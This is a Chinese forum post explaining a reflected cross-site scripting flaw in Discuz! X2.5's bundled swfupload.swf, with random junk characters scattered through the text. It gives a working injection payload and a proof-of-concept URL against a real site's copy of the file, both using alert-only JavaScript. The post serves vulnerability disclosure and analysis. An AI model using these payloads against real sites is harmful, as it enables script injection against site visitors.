找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1970|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
: A" U$ i6 G3 F+ e4 E$ B1 T6 N5 g
. b: X. {" o, Yflash.external.ExternalInterface.call($methodName, $parameter)
4 ]2 V" K" o8 Q( ^在浏览器中执行的是
# r$ G/ Q( a- S- ?: X! M1 a8 p1 s1 Q+ b- C, p& F6 ?& i% g
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}) R* w" U4 h8 L8 p6 V  B2 v
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
5 [6 Y; @# T0 g
" O/ J2 @+ t1 \3 }* bflash.external.ExternalInterface.call("object."+$methodName, $parameter)' e" Z+ p  ~! \8 m" {
$methodName = a())}catch(e){alert(/xss/)}//# ]) ^) U8 u5 b9 y2 L5 ?$ d  d
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
" u( |, S  Z/ G4 q( o
5 _" w/ t* g; c6 I- A; ^try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }! ~9 x2 w1 n7 A* i) ?
& V# @: P" T1 Y* t( H
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
$ K1 y! ]0 v. w2 S) r& l3 M杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
( G) K' o2 w1 p4 K
# u9 U1 x: _/ n( k6 u% Q! T
, y' D5 q% ]! n' i5 ?! c6 M+ [% x6 Q7 V9 c
漏洞文件:upload\static\image\common\swfupload.swf
2 J# k# I( W) ], _! j, B- m& o/ h5 ?+ R
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf1 I) T: z+ F9 B& U0 r) y
) p2 z  u; H0 u# f
7 V' |. V! i3 H
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
3 ?$ K- l$ j" C  a. n6 |6 I" a
0 O" B5 p  a: Z, m
3 p+ r$ S% h6 X& R) N& y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表